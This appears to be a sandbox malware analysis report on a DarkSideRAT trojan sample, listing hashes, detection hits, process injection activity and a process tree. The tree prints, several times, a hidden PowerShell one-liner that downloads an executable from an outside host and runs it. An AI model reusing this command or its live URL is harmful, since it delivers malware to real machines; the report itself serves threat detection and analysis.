darksiderat | 31f9faa2b6a3013c443c9a2e49fab41db837a1bcb2baa103fb57c8293093e71e

Analysis

user interaction
yes
max time kernel
148s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 02:36

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General

Target
vg_client.exe
Size 1.5MB
Sample260808-c3wp4a1wft
SHA256 31f9faa2b6a3013c443c9a2e49fab41db837a1bcb2baa103fb57c8293093e71e
MD5 157bce53dc31b860b292504af1030ae0
SHA1 3ae4c84209b5c63040ca5fabcf75bf96240f3eb3
SHA512 167f69db0806dded673acd968812d8a3bc6ab3086b556c32eefbcdc05637ce6a79a439aaaa6eca3b5576e11aa4da8b43d116c4811de005e19303891681ce2df2
SSDEEP 24576:PUYpFC/PKbPdywDqFzz7Fzz5FzzwFzzXFzzZFzz7Fzz:VpU21ywmFX7FX5FXwFXXFXZFX7FX
TLSH
T1C475D006DF9715D9E0BED4BDE8A664B7A271780E03D0DDDF2A80A5B30E729946B3CD10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 9 IoCs

resource	yara_rule
behavioral2/memory/4836-21-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/memory/1556-28-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/memory/4236-27-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/memory/1652-23-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/memory/4484-18-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/memory/2848-17-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/memory/3480-1-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/memory/3480-2-0x0000000140000000-0x0000000140015000-memory.dmp	family_darksiderat
behavioral2/files/0x000e00000001c4e6-53.dat	family_darksiderat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	980	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
980	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
7	980	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5852	BK169310.exe

Suspicious use of SetThreadContext 14 IoCs

description	pid	Process	procid_target
PID 2776 set thread context of 3480	2776	vg_client.exe	90
PID 2776 set thread context of 3468	2776	vg_client.exe	91
PID 2776 set thread context of 1652	2776	vg_client.exe	93
PID 2776 set thread context of 2432	2776	vg_client.exe	94
PID 2776 set thread context of 3312	2776	vg_client.exe	95
PID 2776 set thread context of 3252	2776	vg_client.exe	96
PID 2776 set thread context of 4236	2776	vg_client.exe	97
PID 2776 set thread context of 1556	2776	vg_client.exe	98
PID 2776 set thread context of 5468	2776	vg_client.exe	99
PID 2776 set thread context of 5048	2776	vg_client.exe	100
PID 2776 set thread context of 2848	2776	vg_client.exe	103
PID 2776 set thread context of 4484	2776	vg_client.exe	102
PID 2776 set thread context of 5304	2776	vg_client.exe	104
PID 2776 set thread context of 4836	2776	vg_client.exe	101

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5704	cmd.exe
3884	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
980	powershell.exe
980	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2776	vg_client.exe
Token: SeDebugPrivilege	980	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 3480	2776	vg_client.exe	90
PID 2776 wrote to memory of 3468	2776	vg_client.exe	91
PID 2776 wrote to memory of 3480	2776	vg_client.exe	90
PID 2776 wrote to memory of 3480	2776	vg_client.exe	90
PID 2776 wrote to memory of 3480	2776	vg_client.exe	90
PID 2776 wrote to memory of 3480	2776	vg_client.exe	90
PID 2776 wrote to memory of 3480	2776	vg_client.exe	90
PID 2776 wrote to memory of 3480	2776	vg_client.exe	90
PID 2776 wrote to memory of 3884	2776	vg_client.exe	92
PID 2776 wrote to memory of 3468	2776	vg_client.exe	91
PID 2776 wrote to memory of 3468	2776	vg_client.exe	91
PID 2776 wrote to memory of 3468	2776	vg_client.exe	91
PID 2776 wrote to memory of 3468	2776	vg_client.exe	91
PID 2776 wrote to memory of 3468	2776	vg_client.exe	91
PID 2776 wrote to memory of 3468	2776	vg_client.exe	91
PID 2776 wrote to memory of 1652	2776	vg_client.exe	93
PID 2776 wrote to memory of 1652	2776	vg_client.exe	93
PID 2776 wrote to memory of 1652	2776	vg_client.exe	93
PID 2776 wrote to memory of 1652	2776	vg_client.exe	93
PID 2776 wrote to memory of 1652	2776	vg_client.exe	93
PID 2776 wrote to memory of 1652	2776	vg_client.exe	93
PID 2776 wrote to memory of 1652	2776	vg_client.exe	93
PID 2776 wrote to memory of 2432	2776	vg_client.exe	94
PID 2776 wrote to memory of 2432	2776	vg_client.exe	94
PID 2776 wrote to memory of 2432	2776	vg_client.exe	94
PID 2776 wrote to memory of 2432	2776	vg_client.exe	94
PID 2776 wrote to memory of 2432	2776	vg_client.exe	94
PID 2776 wrote to memory of 2432	2776	vg_client.exe	94
PID 2776 wrote to memory of 2432	2776	vg_client.exe	94
PID 2776 wrote to memory of 3312	2776	vg_client.exe	95
PID 2776 wrote to memory of 3312	2776	vg_client.exe	95
PID 2776 wrote to memory of 3312	2776	vg_client.exe	95
PID 2776 wrote to memory of 3312	2776	vg_client.exe	95
PID 2776 wrote to memory of 3312	2776	vg_client.exe	95
PID 2776 wrote to memory of 3312	2776	vg_client.exe	95
PID 2776 wrote to memory of 3312	2776	vg_client.exe	95
PID 2776 wrote to memory of 3252	2776	vg_client.exe	96
PID 2776 wrote to memory of 3252	2776	vg_client.exe	96
PID 2776 wrote to memory of 3252	2776	vg_client.exe	96
PID 2776 wrote to memory of 3252	2776	vg_client.exe	96
PID 2776 wrote to memory of 3252	2776	vg_client.exe	96
PID 2776 wrote to memory of 3252	2776	vg_client.exe	96
PID 2776 wrote to memory of 3252	2776	vg_client.exe	96
PID 2776 wrote to memory of 4236	2776	vg_client.exe	97
PID 2776 wrote to memory of 4236	2776	vg_client.exe	97
PID 2776 wrote to memory of 4236	2776	vg_client.exe	97
PID 2776 wrote to memory of 4236	2776	vg_client.exe	97
PID 2776 wrote to memory of 4236	2776	vg_client.exe	97
PID 2776 wrote to memory of 4236	2776	vg_client.exe	97
PID 2776 wrote to memory of 4236	2776	vg_client.exe	97
PID 2776 wrote to memory of 1556	2776	vg_client.exe	98
PID 2776 wrote to memory of 1556	2776	vg_client.exe	98
PID 2776 wrote to memory of 1556	2776	vg_client.exe	98
PID 2776 wrote to memory of 1556	2776	vg_client.exe	98
PID 2776 wrote to memory of 1556	2776	vg_client.exe	98
PID 2776 wrote to memory of 1556	2776	vg_client.exe	98
PID 2776 wrote to memory of 1556	2776	vg_client.exe	98
PID 2776 wrote to memory of 5468	2776	vg_client.exe	99
PID 2776 wrote to memory of 5048	2776	vg_client.exe	100
PID 2776 wrote to memory of 5468	2776	vg_client.exe	99
PID 2776 wrote to memory of 5468	2776	vg_client.exe	99
PID 2776 wrote to memory of 5468	2776	vg_client.exe	99
PID 2776 wrote to memory of 5468	2776	vg_client.exe	99
PID 2776 wrote to memory of 5468	2776	vg_client.exe	99

C:\Users\Admin\AppData\Local\Temp\vg_client.exe
"C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Users\Admin\AppData\Local\Temp\vg_client.exe
  "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
  2⤵
  PID:3480
- C:\Users\Admin\AppData\Local\Temp\vg_client.exe
  "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
  2⤵
  PID:3468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK169310.exe; Start-Process -FilePath $env:TEMP\BK169310.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  PID:3884
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK169310.exe; Start-Process -FilePath $env:TEMP\BK169310.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    PID:5704
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK169310.exe; Start-Process -FilePath $env:TEMP\BK169310.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:980
    - - C:\Users\Admin\AppData\Local\Temp\BK169310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK169310.exe"
        5⤵
        Executes dropped EXE
        
        PID:5852
- C:\Users\Admin\AppData\Local\Temp\vg_client.exe
  "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
  2⤵
  PID:1652
- C:\Users\Admin\AppData\Local\Temp\vg_client.exe
  "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
  2⤵
  PID:2432
- C:\Users\Admin\AppData\Local\Temp\vg_client.exe
  "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
  2⤵
  PID:3312
- C:\Users\Admin\AppData\Local\Temp\vg_client.exe
  "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
  2⤵
  PID:3252
- C:\Users\Admin\AppData\Local\Temp\vg_client.exe
  "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
  2⤵
  PID:4236
- C:\Users\Admin\AppData\Local\Temp\vg_client.exe
  "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
  2⤵
  PID:1556
- C:\Users\Admin\AppData\Local\Temp\vg_client.exe
  "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
  2⤵
  PID:5468
- C:\Users\Admin\AppData\Local\Temp\vg_client.exe
  "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
  2⤵
  PID:5048
- C:\Users\Admin\AppData\Local\Temp\vg_client.exe
  "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
  2⤵
  PID:4836
- C:\Users\Admin\AppData\Local\Temp\vg_client.exe
  "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
  2⤵
  PID:4484
- C:\Users\Admin\AppData\Local\Temp\vg_client.exe
  "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
  2⤵
  PID:2848
- C:\Users\Admin\AppData\Local\Temp\vg_client.exe
  "C:\Users\Admin\AppData\Local\Temp\vg_client.exe"
  2⤵
  PID:5304

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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BK169310.exe

Path C:\Users\Admin\AppData\Local\Temp\BK169310.exe
Size 67KB
SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
MD5 32b268f7114cd6816d3b1c0558e88f95
SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
TLSH
T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/980-44-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

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memory/980-37-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

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memory/980-29-0x00007FF845DBF000-0x00007FF845DC0000-memory.dmp

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memory/980-36-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

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memory/980-35-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

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memory/980-40-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

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memory/980-32-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

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memory/980-33-0x000001E96BCE0000-0x000001E96BD02000-memory.dmp

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memory/980-55-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

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memory/980-39-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

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memory/980-34-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

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memory/980-38-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

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memory/980-43-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

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memory/980-42-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

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memory/980-41-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp

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memory/1556-28-0x0000000140000000-0x0000000140015000-memory.dmp

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memory/1652-23-0x0000000140000000-0x0000000140015000-memory.dmp

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memory/2432-24-0x0000000140000000-0x0000000140050000-memory.dmp

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memory/2776-0-0x0000000140000000-0x0000000140188000-memory.dmp

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memory/2776-45-0x0000000140000000-0x0000000140188000-memory.dmp

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memory/2848-17-0x0000000140000000-0x0000000140015000-memory.dmp

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memory/3252-26-0x0000000140000000-0x0000000140050000-memory.dmp

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memory/3312-25-0x0000000140000000-0x0000000140050000-memory.dmp

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memory/3468-3-0x0000000140000000-0x0000000140050000-memory.dmp

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memory/3468-4-0x0000000140000000-0x0000000140050000-memory.dmp

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memory/3480-2-0x0000000140000000-0x0000000140015000-memory.dmp

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memory/3480-1-0x0000000140000000-0x0000000140015000-memory.dmp

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memory/4236-27-0x0000000140000000-0x0000000140015000-memory.dmp

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memory/4484-18-0x0000000140000000-0x0000000140015000-memory.dmp

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memory/4836-21-0x0000000140000000-0x0000000140015000-memory.dmp

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memory/5048-13-0x0000000140000000-0x0000000140050000-memory.dmp

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memory/5304-22-0x0000000140000000-0x0000000140050000-memory.dmp

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memory/5468-14-0x0000000140000000-0x0000000140050000-memory.dmp

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